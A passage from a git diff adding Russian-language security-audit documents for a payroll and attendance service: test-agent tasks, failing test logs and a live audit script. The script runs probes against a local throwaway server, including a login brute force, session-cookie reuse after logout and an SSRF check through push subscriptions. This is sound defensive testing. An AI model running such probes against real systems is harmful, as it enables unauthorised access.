------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------- | +| 1 | **N5.** В тесте изоляции арендаторов очистка идёт ролью приложения, а у неё нет права DELETE на сотрудников. Перенеси очистку на роль мигратора или оберни в транзакцию с откатом | Тест проходит на живой базе; CI с `DATABASE_TEST_URL` из-за него больше не красный | +| 2 | **Набор `tests/e2e`.** Поднять сервер на реальной PostgreSQL 17 и прогнать сценарии по всем находкам P0 и P1. За основу взять `evidence/live-audit.mjs.txt` и `evidence/live-sync.mjs.txt`. Каждый сценарий проверяет правильное поведение, поэтому сейчас он красный. Список красных сценариев и есть список открытых дефектов | Есть сценарии для K1, K3, K4, K5, K6, K10, K11, K12, S1, S2, S9, N9, N12 и A4; отчёт «зелёный / красный» по каждому ID | +| 3 | **Сценарии по решениям владельца (роли, точки, процесс подтверждения, согласие).** Подробности — в таблице ниже | Сценарии есть и пока красные; это ожидаемо | +| 4 | **CI.** Сервис PostgreSQL; роли как в пилоте, но мигратор **без** SUPERUSER. Миграции вверх, откат всех, снова вверх. Запуск `tests/e2e`. `docker build` перенести туда, где есть docker, либо вынести в отдельную задачу. Закрепить действия по SHA (F13) | CI реально проверяет схему и маршруты на живой базе | +| 5 | **Проверка пилотного compose** тестом, как сейчас проверяется корневой: переменные с `:?`, нет `NODE_ENV=development`, у приложения нет учётных данных мигратора | — | +| 6 | **Приёмка.** Первым проверь немедленную меру Antigravity по S1: устройство больше не создаёт и не меняет смену. Дальше после каждого PR от Codex и Antigravity прогоняй `tests/e2e` и целевые сценарии. На слово ничего не принимай | По каждому закрытому ID есть независимое подтверждение: таблица «ID — было — стало — доказательство» | +| 7 | **Повторить N13** (гонка первого расчёта) под нагрузкой: 10–50 параллельных запросов. У меня на двух запросах не воспроизвелось | Вердикт с числом попыток | +| 8 | **Snyk** — только если владелец выдаст токен. Без токена не запускать | — | + +Сценарии для задачи 3: + +| Сценарий | Ожидаемый результат | +| --------------------------------------------- | -------------------------------------------------------------------- | +| Управляющий точки А запускает расчёт точки Б | 403 | +| Управляющий отправляет пакет на подтверждение | 403 | +| Бухгалтер отправляет пакет | успешно; оповещение каждому руководителю ровно одно | +| Бухгалтер пытается подписать пакет | 403 | +| Реестр до подписи руководителя | начислений и выплат нет | +| Руководитель подписывает | начисления и выплаты зарегистрированы; пакет и его смены неизменяемы | +| Изменение смены после отправки | подписать пакет нельзя, он возвращается бухгалтеру | +| Возврат с комментарием | пакет у бухгалтера, комментарий сохранён | +| Сотрудник точки А отработал смену на точке Б | смена попадает в расчёт точки Б | +| Сотрудник без согласия на биометрию | сервер отвечает терминалу «регистрация запрещена» | +| Отзыв согласия | статус для терминала меняется | + +Проверки, которым нужна Windows (DPAPI, ACL каталога данных, установщик, WinUI, реальный pipe), в твоём окружении недоступны. Отмечай их «не проверено» и ссылайся на тесты Codex. + +## Порядок работы с остальными + +1. **Сразу:** задачи 1, 2, 4 и 5. Это не зависит от других исполнителей. +2. **Задача 3** — сразу. Сценарии будут красными, пока Codex не сделает этап 4. +3. **Задача 6** — по мере поступления PR. Первым — немедленная мера Antigravity по S1, затем этап 1 Codex (K3, K4). + +## Отчёт + +Первый PR — после задач 1, 2, 4 и 5. В нём набор сценариев и краткий отчёт: какие сценарии красные. Дальше — приёмочная таблица после каждого PR исполнителей. diff --git a/docs/audit/2026-09-26/evidence/README.md b/docs/audit/2026-09-26/evidence/README.md new file mode 100644 index 0000000..c232114 --- /dev/null +++ b/docs/audit/2026-09-26/evidence/README.md @@ -0,0 +1,17 @@ +# Доказательства аудита 2026-09-26 + +| Файл | Что это | +| ---------------------- | ---------------------------------------------------------------------------------------------------------- | +| `live-audit.mjs.txt` | Сценарии живой проверки основной ветки `3e20544`: сервер на реальной PostgreSQL 17, настоящие HTTP-запросы | +| `live-audit-final.txt` | Вывод последнего прогона на базе в UTF-8 | +| `live-sync.mjs.txt` | Сценарии для ветки синхронизации `5ee7517` | +| `live-sync.txt` | Вывод прогона | +| `format-check.txt` | Вывод `npm run format:check` | + +Сценарии сохранены с расширением `.mjs.txt`, чтобы их не проверял линтер проекта. Для запуска скопируйте файл вне репозитория и уберите `.txt`. Поддерживаемая рабочая версия этих проверок — стенд Grok в `tests/e2e/`. + +Как запускались: рабочая копия нужного коммита (`git worktree add --detach … `), `npm ci`, PostgreSQL 17 на порту 55432 с суперпользователем `postgres`, мигратор `krona_migrator` без SUPERUSER (владелец базы), роль приложения `krona_staff_app`, база в UTF-8, миграции `node scripts/migrate.mjs up`. Пути к рабочим копиям в начале скриптов (`REPO`) — локальные, их нужно поправить под своё окружение. + +Токены в сценариях генерируются случайно при каждом запуске и никуда не выводятся. Пароли ролей — одноразовые для локального стенда. + +Для сценариев N4, D5 и S1 скрипт временно задаёт значение по умолчанию для `staff_outbox.occurred_at` (иначе мешает дефект N2) и снимает его после сценария. После исправления N2 эти строки нужно удалить. diff --git a/docs/audit/2026-09-26/evidence/acceptance-antigravity-live-sync.txt b/docs/audit/2026-09-26/evidence/acceptance-antigravity-live-sync.txt new file mode 100644 index 0000000..8a80bff --- /dev/null +++ b/docs/audit/2026-09-26/evidence/acceptance-antigravity-live-sync.txt @@ -0,0 +1,6 @@ +[S9] ПОДТВЕРЖДЕНО — удаление точки с устройством → 23502 null value in column "tenant_id" of relation "staff_sync_devices" violates not-null constraint +device registration → 201; scopes ["attendance:sync"] +device push → 200 {"results":[{"idempotency_key":"forge-1790409261814","command_type":"upsert_work_session","status":"rejected","error_code":"COMMAND_NOT_SUPPORTED","error_message":"Команда не поддерживается: прямое создание или изменение смен и табелей с устройств запрещено"},… +[S1] не подтверждено — смена от устройства: статус undefined, минут undefined, подтвердил никто, записей в журнале аудита арендатора: 0 +[S2] ПОДТВЕРЖДЕНО — отметка с временем 2020-01-01 через синхронизацию сохранена: true +[S1→payroll] расчёт сентября → 200; начислено по поддельной смене: 0 ₽ (48 ч × 300 ₽) diff --git a/docs/audit/2026-09-26/evidence/acceptance-grok-e2e.txt b/docs/audit/2026-09-26/evidence/acceptance-grok-e2e.txt new file mode 100644 index 0000000..08ff08e --- /dev/null +++ b/docs/audit/2026-09-26/evidence/acceptance-grok-e2e.txt @@ -0,0 +1,40 @@ +× [N1] менеджер создаёт сотрудника через POST /employees → 201 487ms +× [N2] подтверждение смены, расчёт и утверждение зарплаты проходят (200) и начисляют 8 ч × ставка 1795ms +× [N4] пересекающиеся расчёты не начисляют одну смену дважды 943ms +× [N3] push-подписка на внутренний адрес отклоняется, сервер не подключается к 127.0.0.1 2834ms +× [N9] чужой push-endpoint нельзя перепривязать к другому сотруднику 421ms +× [N12] PUT pay-assignment отвергает лишние поля и нереальные суммы (400) 386ms +× [N10] терминальный токен не читает справочники профессий и точек (403) 31ms +× [F2] standalone без токенов не выдаёт права менеджера анонимному запросу (401) 322ms +× [F3] cookie сессии не содержит сырой токен и отзывается при выходе 50ms +× [F10] мутация по cookie без Origin отклоняется (CSRF, 403) 21ms +× [F7] повтор Idempotency-Key с другим телом не создаёт второе событие 790ms +× [N11] импорт с неверным kind начисления → 400, а не 500 602ms +× [F4] перебор ключей входа ограничивается (429 не позже 30 неверных попыток) 744ms +× [OWN-01] менеджер точки A запускает расчёт для точки B → 403 978ms +× [OWN-02] менеджер точки отправляет пакет на согласование → 403 750ms +× [OWN-03] бухгалтер отправляет пакет → успех, каждый директор получает ровно одно уведомление 10ms +× [OWN-04] бухгалтер пытается подписать пакет → 403 20ms +× [OWN-05] до подписи директора в ledger нет начислений и выплат 5ms +× [OWN-06] подпись директора → начисления и выплаты в ledger, пакет и смены неизменяемы 10ms +× [OWN-07] смена изменена после отправки → подписать нельзя (409), пакет возвращён бухгалтеру 5ms +× [OWN-08] возврат с комментарием → пакет у бухгалтера, комментарий сохранён 10ms +× [OWN-09] сотрудник точки A отработал смену в точке B → смена попадает в зарплату точки B 16ms +× [OWN-10] сотрудник без согласия на биометрию → сервер сообщает терминалу «регистрация запрещена» 250ms +× [OWN-11] согласие отозвано → статус для терминала меняется 297ms +× [SYNC-A] устройство не может само подтвердить смену (status=confirmed отклоняется) 791ms +× [SYNC-B] устройство не может утвердить табель (status=approved отклоняется) 392ms +× [SYNC-C0] начальная загрузка (pull без курсора) работает на реальной БД (200) 427ms +× [SYNC-C] начальная загрузка >100 сущностей отдаёт все сущности постранично 960ms +× [SYNC-D] изменения, сделанные через портал, попадают в инкрементальный pull 518ms +× [SYNC-E] отметка уволенного сотрудника через sync отклоняется 279ms +× [SYNC-F] отметка через sync сохраняет точку устройства; чужая точка в payload отклоняется 664ms +× [SYNC-G] битая команда в пакете отклоняется по отдельности, остальные применяются (не 500) 350ms +× [SYNC-H] регистрация устройства по cookie с чужим Origin отклоняется (CSRF, 403) 180ms +× [SYNC-I] без настроенных токенов анонимный запрос не регистрирует устройство (401) 180ms +× [SYNC-J] отметка через sync вне окна времени (2001 год) отклоняется, как в POST /attendance/events 308ms +× [SYNC-K] ack курсора из будущего (больше выданного сервером) отклоняется (400) 25ms +× [PILOT-1] все подставляемые переменные обязательны: ${VAR:?сообщение} 103ms +× [PILOT-2] ни один сервис не запускается с NODE_ENV=development 4ms +⎯⎯⎯⎯⎯⎯ Failed Tests 38 ⎯⎯⎯⎯⎯⎯⎯ +Tests 38 failed | 9 passed (47) diff --git a/docs/audit/2026-09-26/evidence/acceptance-grok-sync-with-antigravity.txt b/docs/audit/2026-09-26/evidence/acceptance-grok-sync-with-antigravity.txt new file mode 100644 index 0000000..c09fe33 --- /dev/null +++ b/docs/audit/2026-09-26/evidence/acceptance-grok-sync-with-antigravity.txt @@ -0,0 +1,12 @@ +× [SYNC-C0] начальная загрузка (pull без курсора) работает на реальной БД (200) 466ms +× [SYNC-C] начальная загрузка >100 сущностей отдаёт все сущности постранично 624ms +× [SYNC-D] изменения, сделанные через портал, попадают в инкрементальный pull 372ms +× [SYNC-E] отметка уволенного сотрудника через sync отклоняется 223ms +× [SYNC-F] отметка через sync сохраняет точку устройства; чужая точка в payload отклоняется 477ms +× [SYNC-G] битая команда в пакете отклоняется по отдельности, остальные применяются (не 500) 213ms +× [SYNC-H] регистрация устройства по cookie с чужим Origin отклоняется (CSRF, 403) 136ms +× [SYNC-I] без настроенных токенов анонимный запрос не регистрирует устройство (401) 33ms +× [SYNC-J] отметка через sync вне окна времени (2001 год) отклоняется, как в POST /attendance/events 283ms +× [SYNC-K] ack курсора из будущего (больше выданного сервером) отклоняется (400) 27ms +⎯⎯⎯⎯⎯⎯ Failed Tests 10 ⎯⎯⎯⎯⎯⎯⎯ +Tests 10 failed | 3 passed (13) diff --git a/docs/audit/2026-09-26/evidence/format-check.txt b/docs/audit/2026-09-26/evidence/format-check.txt new file mode 100644 index 0000000..ae06c31 --- /dev/null +++ b/docs/audit/2026-09-26/evidence/format-check.txt @@ -0,0 +1,18 @@ +Checking formatting... +[warn] apps/KronaStaffService/README.md +[warn] deploy/pilot/compose.yaml +[warn] docs/DRIVER-DISTRIBUTION.md +[warn] docs/HARDWARE-TEST-SLK20R.md +[warn] docs/TERMINAL-API-REQUIREMENTS.md +[warn] scripts/check-migrations.mjs +[warn] src/adapters/identity.ts +[warn] src/app.ts +[warn] src/config.ts +[warn] src/domain/attendance/work-session.ts +[warn] src/domain/notification/web-push.ts +[warn] src/portal.ts +[warn] tests/unit/config.test.ts +[warn] tests/unit/employee-push.test.ts +[warn] tests/unit/tenant-sql.test.ts +[warn] tests/unit/work-session.test.ts +[warn] Code style issues found in 16 files. Run Prettier with --write to fix. diff --git a/docs/audit/2026-09-26/evidence/live-audit-final.txt b/docs/audit/2026-09-26/evidence/live-audit-final.txt new file mode 100644 index 0000000..2dcf2d8 --- /dev/null +++ b/docs/audit/2026-09-26/evidence/live-audit-final.txt @@ -0,0 +1,16 @@ +[F2] ПОДТВЕРЖДЕНО — STANDALONE_ACCESS=manager, без токенов и без Authorization: GET /portal 200, GET /payroll 200, GET /finance 200, POST /professions 201; POST /session 403 +[F2] ПОДТВЕРЖДЕНО — STANDALONE_ACCESS=employee, без токенов и без Authorization: GET /portal 200, GET /payroll 200, GET /finance 403, POST /professions 403; POST /session 403 +[F4] ПОДТВЕРЖДЕНО — 60 неверных POST /session → {"401":60} +[F3] ПОДТВЕРЖДЕНО — вход 200, выход 204; cookie содержит сам токен менеджера: true; после DELETE /session старая cookie → GET /portal 200; флаги: Path=/; Max-Age=28800; HttpOnly; Secure; SameSite=Strict +[N1] ПОДТВЕРЖДЕНО — POST /employees → 500 {"statusCode":500,"code":"42P08","error":"Internal Server Error","message":"inconsistent types deduced for parameter $2"} +[N2] ПОДТВЕРЖДЕНО — PATCH /work-sessions (confirmed) → 500 {"statusCode":500,"code":"23502","error":"Internal Server Error","message":"null value in column \"occurred_at\" of relation \"staff_outbox\" violates not-null constraint"}; GET /pay-rules → 200 (6 правил, выбрано hourly); PUT pay-assignment → 200; POST /payroll/calculate → 500 {"statusCode":500,"code":"23502","error":"Internal Server Error","message":"null value in column \"occurred_at\" of relation \"staff_outbox\" violates not-null constraint"} +[N4] ПОДТВЕРЖДЕНО — повторное подтверждение смены → 200; {"month":"2026-09"}: calculate 200, approve 200; {"from":"2026-09-02","to":"2026-09-30"}: calculate 200, approve 200; {"month":"2026-09","org_unit_id":"01M3E6YN08K537W6JNRANDR3X3"}: calculate 200, approve 200; в реестре начислений за одну смену 8 ч × 300 ₽: записей 3, сумма 7200 ₽ +[D5] ПОДТВЕРЖДЕНО — отклонение смены, уже начисленной в утверждённой ведомости → 200; записей в реестре после этого: 3 (сторно не создано) +[N13] не воспроизведено — два одновременных первых расчёта октября → 200 {"run_id":"01M3E6YXA273MH6XX04CSAQJK9","status":"calculated","org_unit_id":null,"period_st | 200 {"run_id":"01M3E6YXA273MH6XX04CSAQJK9","status":"calculated","org_unit_id":null,"period_st +[D9] проверка — month=2026-13 → 500; rate_minor=1e20 и лишнее поле → 200 {"id":"01M3E6YXHHCBJPWMF6VT7MYZGY","employee_id":"01M3E6YN08XJM58HP60FWVJSJ5","org_unit_id":"01M3E6YN08K537W6JNRANDR3X3" +[N3] ПОДТВЕРЖДЕНО — выдача ключа сотруднику → 200; подписка на https://127.0.0.1:18443 → 201; отметка терминала → 201; входящих соединений на внутренний адрес: 1, TLS ClientHello: true +[N9] ПОДТВЕРЖДЕНО — сотрудник Б подписывает endpoint сотрудника А → 201; подписка теперь принадлежит сотруднику Б: true +[A4] проверка — 500 с деталями: POST /employees с несуществующей профессией → 500 {"statusCode":500,"code":"42P08","error":"Internal Server Error","message":"inconsistent types deduced for parameter $2"} +[N10] проверка — терминал: GET /professions → 200 ({"professions":[{"id":"01M3E6YEJRAZQ9ZRQM1XZXWJ8T","code":"profession-01m3e6yejrazq9zrqm1xzxwj8t","name":"audit-open-manager-1790404672076","status":"active","created_at":"2026-09-26T06:37:52.089Z","updated_at":"2026-09-…); GET /org-units → 200 {"org_units":[]} +[HDR] проверка — GET /staff: content-security-policy="default-src 'self';base-uri 'self';font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';img-src 'self' data:;object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requests", strict-transport-security="max-age=31536000; includeSubDomains" + diff --git a/docs/audit/2026-09-26/evidence/live-audit.mjs.txt b/docs/audit/2026-09-26/evidence/live-audit.mjs.txt new file mode 100644 index 0000000..2a02c87 --- /dev/null +++ b/docs/audit/2026-09-26/evidence/live-audit.mjs.txt @@ -0,0 +1,426 @@ +// Live audit of krona-staff against a real PostgreSQL 17. Read-only for the repository: +// data is seeded in a throwaway local database, tokens are random and never printed. +import { createRequire } from 'node:module'; +import { spawn } from 'node:child_process'; +import { randomBytes, createECDH } from 'node:crypto'; +import net from 'node:net'; + +const REPO = 'C:/Users/Ochenstarik/Agent_projects/krona-staff-audit'; +const require = createRequire(`${REPO}/package.json`); +const pg = require('pg'); +const { ulid } = require('ulid'); + +const SUPER = 'postgres://postgres:audit-superuser@127.0.0.1:55432/krona_staff'; +const APP = 'postgres://krona_staff_app:audit-app-password@127.0.0.1:55432/krona_staff'; +const PORT = 18080; +const BASE = `http://127.0.0.1:${PORT}/api/v1/staff`; +const TENANT = ulid(); +const ACTOR = ulid(); +const TERMINAL_ACTOR = ulid(); +const MANAGER_TOKEN = randomBytes(32).toString('base64url'); +const TERMINAL_TOKEN = randomBytes(32).toString('base64url'); +const results = []; + +function record(id, verdict, detail) { + results.push({ id, verdict, detail }); + console.log(`[${id}] ${verdict} — ${detail}`); +} + +async function superQuery(sql, params = []) { + const client = new pg.Client({ connectionString: SUPER }); + await client.connect(); + try { + return await client.query(sql, params); + } finally { + await client.end(); + } +} + +function startServer(extraEnv) { + const env = { + ...process.env, + NODE_ENV: 'development', + HOST: '127.0.0.1', + PORT: String(PORT), + LOG_LEVEL: 'silent', + STAFF_RUNTIME_MODE: 'standalone', + DATABASE_URL: APP, + STANDALONE_TENANT_ID: TENANT, + STANDALONE_ACTOR_ID: ACTOR, + STANDALONE_TERMINAL_ACTOR_ID: TERMINAL_ACTOR, + ...extraEnv, + }; + for (const [key, value] of Object.entries(env)) if (value === undefined) delete env[key]; + const child = spawn(process.execPath, ['node_modules/tsx/dist/cli.mjs', 'src/server.ts'], { + cwd: REPO, + env, + stdio: ['ignore', 'ignore', 'pipe'], + }); + let stderr = ''; + child.stderr.on('data', (chunk) => (stderr += chunk)); + child.stderrText = () => stderr; + return child; +} + +async function waitReady() { + for (let attempt = 0; attempt < 120; attempt += 1) { + try { + const response = await fetch(`${BASE}/live`); + if (response.ok) return; + } catch {} + await new Promise((resolve) => setTimeout(resolve, 500)); + } + throw new Error('server did not start'); +} + +async function stop(child) { + child.kill(); + await new Promise((resolve) => setTimeout(resolve, 800)); +} + +async function call(method, path, { token, body, headers = {} } = {}) { + const response = await fetch(`${BASE}${path}`, { + method, + headers: { + ...(body !== undefined ? { 'content-type': 'application/json' } : {}), + ...(token ? { authorization: `Bearer ${token}` } : {}), + ...headers, + }, + body: body !== undefined ? JSON.stringify(body) : undefined, + }); + const text = await response.text(); + let json; + try { + json = JSON.parse(text); + } catch { + json = text; + } + return { status: response.status, json, headers: response.headers }; +} + +function brief(value) { + const text = typeof value === 'string' ? value : JSON.stringify(value); + return text.length > 220 ? `${text.slice(0, 220)}…` : text; +} + +// ---------------------------------------------------------------- scenario A +async function scenarioOpenMode(access) { + const server = startServer({ STANDALONE_ACCESS: access }); + try { + await waitReady(); + const portal = await call('GET', '/portal'); + const payroll = await call('GET', '/payroll'); + const finance = await call('GET', '/finance'); + const writeProfession = await call('POST', '/professions', { + body: { name: `audit-open-${access}-${Date.now()}` }, + }); + const session = await call('POST', '/session', { + body: { access_token: 'x'.repeat(40) }, + headers: { origin: `http://127.0.0.1:${PORT}` }, + }); + record( + 'F2', + portal.status === 200 || payroll.status === 200 ? 'ПОДТВЕРЖДЕНО' : 'не подтверждено', + `STANDALONE_ACCESS=${access}, без токенов и без Authorization: GET /portal ${portal.status}, GET /payroll ${payroll.status}, GET /finance ${finance.status}, POST /professions ${writeProfession.status}; POST /session ${session.status}`, + ); + } finally { + await stop(server); + } +} + +// ---------------------------------------------------------------- scenario B +async function seed() { + const orgUnit = ulid(); + const employee = ulid(); + const pushEmployee = ulid(); + const session = ulid(); + await superQuery( + `INSERT INTO staff_org_units (id, tenant_id, code, name) VALUES ($1, $2, 'audit-unit', 'Аудиторская точка')`, + [orgUnit, TENANT], + ); + await superQuery( + `INSERT INTO staff_employees (id, tenant_id, personnel_number, display_name, status) + VALUES ($1, $3, 'A-001', 'Аудит Сотрудник', 'active'), ($2, $3, 'A-002', 'Аудит Push', 'active')`, + [employee, pushEmployee, TENANT], + ); + await superQuery( + `INSERT INTO staff_work_sessions + (id, tenant_id, employee_id, org_unit_id, business_date, started_at, ended_at, worked_minutes, status) + VALUES ($1, $2, $3, $4, '2026-09-10', '2026-09-10T02:00:00Z', '2026-09-10T10:00:00Z', 480, 'pending_review')`, + [session, TENANT, employee, orgUnit], + ); + return { orgUnit, employee, pushEmployee, session }; +} + +async function scenarioWithTokens() { + const ids = await seed(); + const server = startServer({ + STANDALONE_ACCESS: 'employee', + STANDALONE_MANAGER_TOKEN: MANAGER_TOKEN, + STANDALONE_TERMINAL_TOKEN: TERMINAL_TOKEN, + }); + try { + await waitReady(); + const origin = { origin: `http://127.0.0.1:${PORT}` }; + + // F4: brute force on /session + const statuses = {}; + for (let index = 0; index < 60; index += 1) { + const response = await call('POST', '/session', { + body: { access_token: randomBytes(32).toString('base64url') }, + }); + statuses[response.status] = (statuses[response.status] ?? 0) + 1; + } + record( + 'F4', + statuses[429] ? 'не подтверждено' : 'ПОДТВЕРЖДЕНО', + `60 неверных POST /session → ${JSON.stringify(statuses)}`, + ); + + // F3: cookie carries the raw token and survives logout + const login = await call('POST', '/session', { body: { access_token: MANAGER_TOKEN } }); + const setCookie = login.headers.get('set-cookie') ?? ''; + const cookieValue = decodeURIComponent(setCookie.split(';')[0].split('=').slice(1).join('=')); + const cookieIsToken = cookieValue === MANAGER_TOKEN; + const cookieHeader = setCookie.split(';')[0]; + const logout = await call('DELETE', '/session', { headers: { cookie: cookieHeader } }); + const afterLogout = await call('GET', '/portal', { headers: { cookie: cookieHeader } }); + record( + 'F3', + cookieIsToken && afterLogout.status === 200 ? 'ПОДТВЕРЖДЕНО' : 'частично', + `вход ${login.status}, выход ${logout.status}; cookie содержит сам токен менеджера: ${cookieIsToken}; после DELETE /session старая cookie → GET /portal ${afterLogout.status}; флаги: ${setCookie.split(';').slice(1).map((part) => part.trim()).join('; ')}`, + ); + + // N1: create employee + const created = await call('POST', '/employees', { + token: MANAGER_TOKEN, + body: { personnel_number: 'A-100', display_name: 'Новый Сотрудник', position: 'Повар' }, + }); + record( + 'N1', + created.status >= 500 ? 'ПОДТВЕРЖДЕНО' : 'не подтверждено', + `POST /employees → ${created.status} ${brief(created.json)}`, + ); + + // N2: confirm session and calculate + const confirm = await call('PATCH', `/work-sessions/${ids.session}`, { + token: MANAGER_TOKEN, + body: { status: 'confirmed' }, + }); + const rules = await call('GET', '/pay-rules', { token: MANAGER_TOKEN }); + const ruleList = rules.json?.pay_rules ?? []; + const hourlyRule = + ruleList.find((rule) => /hour/.test(String(rule.code))) ?? ruleList[0]; + const assignment = hourlyRule + ? await call('PUT', `/employees/${ids.employee}/pay-assignment`, { + token: MANAGER_TOKEN, + body: { + pay_rule_id: hourlyRule.id, + org_unit_id: ids.orgUnit, + rate_minor: 30000, + effective_from: '2026-09-01', + }, + }) + : { status: 'нет правил', json: rules.json }; + const calculate = await call('POST', '/payroll/calculate', { + token: MANAGER_TOKEN, + body: { month: '2026-09' }, + }); + record( + 'N2', + confirm.status >= 500 || calculate.status >= 500 ? 'ПОДТВЕРЖДЕНО' : 'не подтверждено', + `PATCH /work-sessions (confirmed) → ${confirm.status} ${brief(confirm.json)}; GET /pay-rules → ${rules.status} (${ruleList.length} правил, выбрано ${hourlyRule?.code}); PUT pay-assignment → ${assignment.status}; POST /payroll/calculate → ${calculate.status} ${brief(calculate.json)}`, + ); + + // N4: overlapping runs, after bypassing N2 in this throwaway database only + await superQuery('ALTER TABLE staff_outbox ALTER COLUMN occurred_at SET DEFAULT now()'); + try { + const confirmAgain = await call('PATCH', `/work-sessions/${ids.session}`, { + token: MANAGER_TOKEN, + body: { status: 'confirmed' }, + }); + const periods = [ + { month: '2026-09' }, + { from: '2026-09-02', to: '2026-09-30' }, + { month: '2026-09', org_unit_id: ids.orgUnit }, + ]; + const steps = []; + for (const period of periods) { + const run = await call('POST', '/payroll/calculate', { token: MANAGER_TOKEN, body: period }); + const runId = run.json?.run_id ?? run.json?.id ?? run.json?.run?.id; + const approve = runId + ? await call('POST', `/payroll/runs/${runId}/approve`, { token: MANAGER_TOKEN }) + : { status: 'нет run_id', json: run.json }; + steps.push(`${JSON.stringify(period)}: calculate ${run.status}, approve ${approve.status}`); + } + const ledger = await superQuery( + `SELECT count(*)::int AS entries, COALESCE(sum(amount_minor), 0)::bigint AS total + FROM staff_payroll_ledger WHERE tenant_id = $1 AND employee_id = $2 AND kind = 'accrual'`, + [TENANT, ids.employee], + ); + const { entries, total } = ledger.rows[0]; + record( + 'N4', + entries > 1 ? 'ПОДТВЕРЖДЕНО' : 'не подтверждено', + `повторное подтверждение смены → ${confirmAgain.status}; ${steps.join('; ')}; в реестре начислений за одну смену 8 ч × 300 ₽: записей ${entries}, сумма ${Number(total) / 100} ₽`, + ); + + // D5: a session already paid by an approved run can still be rejected or edited + const rejectPaid = await call('PATCH', `/work-sessions/${ids.session}`, { + token: MANAGER_TOKEN, + body: { status: 'rejected', correction_note: 'audit: after approval' }, + }); + const ledgerAfter = await superQuery( + `SELECT count(*)::int AS entries FROM staff_payroll_ledger + WHERE tenant_id = $1 AND employee_id = $2`, + [TENANT, ids.employee], + ); + record( + 'D5', + rejectPaid.status < 300 ? 'ПОДТВЕРЖДЕНО' : 'не подтверждено', + `отклонение смены, уже начисленной в утверждённой ведомости → ${rejectPaid.status}; записей в реестре после этого: ${ledgerAfter.rows[0].entries} (сторно не создано)`, + ); + + // N13: two first calculations of the same new period at once + await superQuery( + `INSERT INTO staff_work_sessions + (id, tenant_id, employee_id, org_unit_id, business_date, worked_minutes, status) + VALUES ($1, $2, $3, $4, '2026-10-05', 480, 'confirmed')`, + [ulid(), TENANT, ids.employee, ids.orgUnit], + ); + const race = await Promise.all([ + call('POST', '/payroll/calculate', { token: MANAGER_TOKEN, body: { month: '2026-10' } }), + call('POST', '/payroll/calculate', { token: MANAGER_TOKEN, body: { month: '2026-10' } }), + ]); + record( + 'N13', + race.some((response) => response.status >= 500) ? 'ПОДТВЕРЖДЕНО' : 'не воспроизведено', + `два одновременных первых расчёта октября → ${race.map((response) => `${response.status} ${brief(response.json).slice(0, 90)}`).join(' | ')}`, + ); + + // Validation holes: impossible month and effective date + const badMonth = await call('POST', '/payroll/calculate', { + token: MANAGER_TOKEN, + body: { month: '2026-13' }, + }); + const hugeRate = await call('PUT', `/employees/${ids.employee}/pay-assignment`, { + token: MANAGER_TOKEN, + body: { + pay_rule_id: hourlyRule?.id, + org_unit_id: ids.orgUnit, + rate_minor: 1e20, + effective_from: '2026-11-01', + unexpected_field: 'accepted?', + }, + }); + record( + 'D9', + 'проверка', + `month=2026-13 → ${badMonth.status}; rate_minor=1e20 и лишнее поле → ${hugeRate.status} ${brief(hugeRate.json).slice(0, 120)}`, + ); + } finally { + await superQuery('ALTER TABLE staff_outbox ALTER COLUMN occurred_at DROP DEFAULT'); + } + + // N3: SSRF through a push subscription + const inbound = { connections: 0, tlsHello: false }; + const listener = net.createServer((socket) => { + inbound.connections += 1; + socket.once('data', (chunk) => { + if (chunk[0] === 0x16) inbound.tlsHello = true; + socket.destroy(); + }); + }); + await new Promise((resolve) => listener.listen(18443, '127.0.0.1', resolve)); + try { + const issued = await call('POST', `/employees/${ids.pushEmployee}/access-token`, { + token: MANAGER_TOKEN, + }); + const employeeToken = issued.json?.access_token; + const ecdh = createECDH('prime256v1'); + ecdh.generateKeys(); + const subscribe = await call('POST', '/push/subscriptions', { + token: employeeToken, + body: { + endpoint: 'https://127.0.0.1:18443/internal-admin', + keys: { + p256dh: ecdh.getPublicKey().toString('base64url'), + auth: randomBytes(16).toString('base64url'), + }, + }, + }); + const clock = await call('POST', '/attendance/events', { + token: TERMINAL_TOKEN, + body: { + employee_id: ids.pushEmployee, + event_type: 'check_in', + occurred_at: new Date().toISOString(), + source_event_id: `audit-${Date.now()}`, + org_unit_id: ids.orgUnit, + }, + }); + await new Promise((resolve) => setTimeout(resolve, 3000)); + record( + 'N3', + inbound.connections > 0 ? 'ПОДТВЕРЖДЕНО' : 'не подтверждено', + `выдача ключа сотруднику → ${issued.status}; подписка на https://127.0.0.1:18443 → ${subscribe.status}; отметка терминала → ${clock.status}; входящих соединений на внутренний адрес: ${inbound.connections}, TLS ClientHello: ${inbound.tlsHello}`, + ); + + // N9: another employee re-binds the same endpoint + const other = await call('POST', `/employees/${ids.employee}/access-token`, { + token: MANAGER_TOKEN, + }); + const rebind = await call('POST', '/push/subscriptions', { + token: other.json?.access_token, + body: { + endpoint: 'https://127.0.0.1:18443/internal-admin', + keys: { p256dh: ecdh.getPublicKey().toString('base64url'), auth: randomBytes(16).toString('base64url') }, + }, + }); + const owner = await superQuery( + `SELECT employee_id FROM staff_push_subscriptions WHERE tenant_id = $1 AND endpoint = $2`, + [TENANT, 'https://127.0.0.1:18443/internal-admin'], + ).catch((error) => ({ rows: [{ employee_id: `ошибка: ${error.message}` }] })); + record( + 'N9', + rebind.status < 300 && owner.rows[0]?.employee_id === ids.employee ? 'ПОДТВЕРЖДЕНО' : 'не подтверждено', + `сотрудник Б подписывает endpoint сотрудника А → ${rebind.status}; подписка теперь принадлежит сотруднику Б: ${owner.rows[0]?.employee_id === ids.employee}`, + ); + + // A4: internal error details leak in 500 responses + const badFk = await call('POST', '/employees', { + token: MANAGER_TOKEN, + body: { personnel_number: 'A-200', display_name: 'X', profession_id: ulid() }, + }); + record('A4', 'проверка', `500 с деталями: POST /employees с несуществующей профессией → ${badFk.status} ${brief(badFk.json)}`); + + // N10: reference data without permission checks + const professionsByTerminal = await call('GET', '/professions', { token: TERMINAL_TOKEN }); + const orgUnitsByTerminal = await call('GET', '/org-units', { token: TERMINAL_TOKEN }); + record( + 'N10', + 'проверка', + `терминал: GET /professions → ${professionsByTerminal.status} (${Array.isArray(professionsByTerminal.json) ? professionsByTerminal.json.length : brief(professionsByTerminal.json)}); GET /org-units → ${orgUnitsByTerminal.status} ${brief(orgUnitsByTerminal.json)}`, + ); + + // Security headers on the portal + const page = await 